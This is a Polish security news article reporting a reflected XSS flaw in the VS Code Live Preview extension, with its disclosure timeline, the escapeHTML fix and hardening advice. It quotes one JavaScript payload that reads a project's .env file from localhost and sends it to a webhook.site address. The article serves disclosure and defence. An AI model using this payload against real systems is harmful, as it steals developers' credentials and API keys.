Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!

Jak można było kraść pliki serwowane na localhost? Podatność XSS we wtyczce Live Preview (VSCode)

16 lutego 2026, 09:38 | Aktualności, W biegu | 0 komentarzy

Badacze z OX Research odkryli podatność w rozszerzeniu Live Preview do Visual Studio Code. Pozwala ona złośliwym stronom internetowym ominąć zabezpieczenia i uzyskać dostęp do kodu źródłowego projektu, a także plików konfiguracyjnych (w folderze, w którym użytkownik uruchomił wtyczkę). Atakujący są w stanie zdalnie wykraść poświadczenia, klucze dostępu oraz inne dane. Podatne są wszystkie wersje poniżej 0.4.16.

TLDR:

  • W rozszerzeniu Live Preview do VS Code (wersje poniżej 0.4.16) odkryto podatność typu reflected XSS.
  • Złośliwa strona mogła uzyskać dostęp do plików w katalogu projektu uruchomionego przez lokalny serwer wtyczki.
  • Atak umożliwiał wykradnięcie kodu źródłowego, plików .env, tokenów, kluczy API i innych poświadczeń. Wystarczało, że ofiara odwiedzi złośliwą stronę przy aktywnym Live Preview.
  • Microsoft wydał poprawkę, która eliminuje podatność poprzez właściwą sanityzację danych.
  • Rekomendacje: minimalizacja liczby rozszerzeń, uruchamianie lokalnych serwerów tylko gdy są potrzebne, nieużywanie produkcyjnych poświadczeń w środowiskach dev/test.

Live Preview to wtyczka służąca do testowania tworzonych w Visual Studio Code stron. Uruchamia lokalny serwer, który “na żywo” odwzorowuje wszystkie wprowadzane w kodzie zmiany. Choć tego typu dodatki są niewątpliwie przydatne dla wielu programistów, należy pamiętać że mogą one stać się także wektorem ataku. 

Badacze odkryli, że wykonując nieuwierzytelnione w żaden sposób żądania z zewnętrznej strony internetowej mogą uzyskać dostęp do plików w folderze, w którym uruchomiony jest serwer Live Preview. Wystarczy, że użytkownik odwiedzi złośliwą stronę, która za pomocą JavaScript wykona żądania do lokalnie hostowanego serwera, a następnie wyśle wykradzione pliki z powrotem do atakującego.

Rys. 1 – schemat ataku, źródło: ox.security

Mechanizm uzyskiwania takiego dostępu jest bardzo podobny do tego, o którym pisaliśmy przy podatności RCE w Curseforge. Choć nie mamy na ten moment informacji o aktywnym wykorzystywaniu tej podatności, sama wtyczka miała ponad 11 milionów pobrań – co może zachęcać potencjalnych atakujących.

Podatność może być wykorzystana do wykradnięcia kodu źródłowego, ale także plików konfiguracyjnych. A to oznacza, że atakujący mógłby zdobyć tokeny, klucze API i inne poświadczenia.

Badacze zgłosili problem firmie Microsoft 7 sierpnia 2025, jednak ich ustalenia otrzymały niski priorytet (w końcu użytkownik musiał sam wejść na złośliwą stronę mając jednocześnie uruchomiony lokalny serwer). Mimo to 11 września – bez informacji zwrotnej do badaczy – został wydany patch (0.4.16) rozwiązujący zgłoszone problemy. 

Rys. 2 – aktualizacja wtyczki, źródło: github.com

Podczas testów badacze przyglądali się fragmentom kodu odpowiedzialnym za obsługę stron, które nie istnieją – na przykład gdy nastąpi przekierowanie do błędnej ścieżki.

Rys. 3 – kod obsługujący nieistniejące strony, źródło: ox.security

Ponieważ stała relativePathFormatted nie podlega sanityzacji (tzn. że znaki typowe dla języka HTML nie są zamieniane na encje), istniała możliwość wstrzyknięcia własnego kodu do tego parametru. Kod ten pojawiał się na renderowanej stronie, co oznacza występowanie podatności XSS typu reflected.

Badacze byli w stanie pozyskać treść pliku .env (lub dowolnego innego) umieszczając w adresie URL kod JavaScript w tagu HTML:

<script>(()=>{fetch('/.env').then(r=>r.text()).then(t=>fetch('https://webhook[.]site/<SNIP>/?data='+encodeURIComponent(t)));})()</script>

Listing 1 – payload JS wykradający .env, źródło: ox.security

Cały atak przedstawili w tym filmie. Od ofiary wymagane jest jedynie odwiedzenie złośliwej strony, która wykona żądanie do localhost.

Po zgłoszeniu podatności rozszerzenie zaczęło używać funkcji escapeHTML, która zamienia znaki typowe dla tagów HTML na encje:

Rys. 4 – kod po poprawkach, źródło: ox.security

Podobnie jak przy malware dystrybuowanym w repozytoriach VSCode/OpenVSX, przypominamy że wszelkiego rodzaju dodatki / rozszerzenia zarówno do przeglądarek, edytorów kodu i innych narzędzi, mogą także stać się wektorem ataku.

Najlepszą praktyką w tym zakresie jest minimalizacja wykorzystywanych rozszerzeń i usuwanie tych, których nie potrzebujemy. W tym przypadku wdrożona poprawka całkowicie likwiduje podatność, więc jeśli używacie Live Preview – upewnijcie się, że macie najnowszą wersję wtyczki. Choć same aktualizacje również potrafią być problematyczne, przy zredukowanej do minimum liczbie wtyczek – co do zasady – warto dbać o posiadanie ich aktualnych wersji.

Programistom, testerom i wszystkim, którzy wystawiają lokalnie różne usługi, polecamy uruchamiać je tylko wtedy, gdy są potrzebne. A więc np. wyłączać lokalny serwer po zakończeniu prac nad projektem – pomoże to zmniejszyć ryzyko ataku, choć w 100% przed nim nie ochroni. Równie ważne będzie też zadbanie, by do testów / developmentu nigdy nie używać produkcyjnych poświadczeń, tokenów i kluczy API. Warto też ograniczać klucze i poświadczenia do konkretnych adresów IP, co złagodzi skutki ich potencjalnego wycieku.

Źródło: ox.security

~Tymoteusz Jóźwiak

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz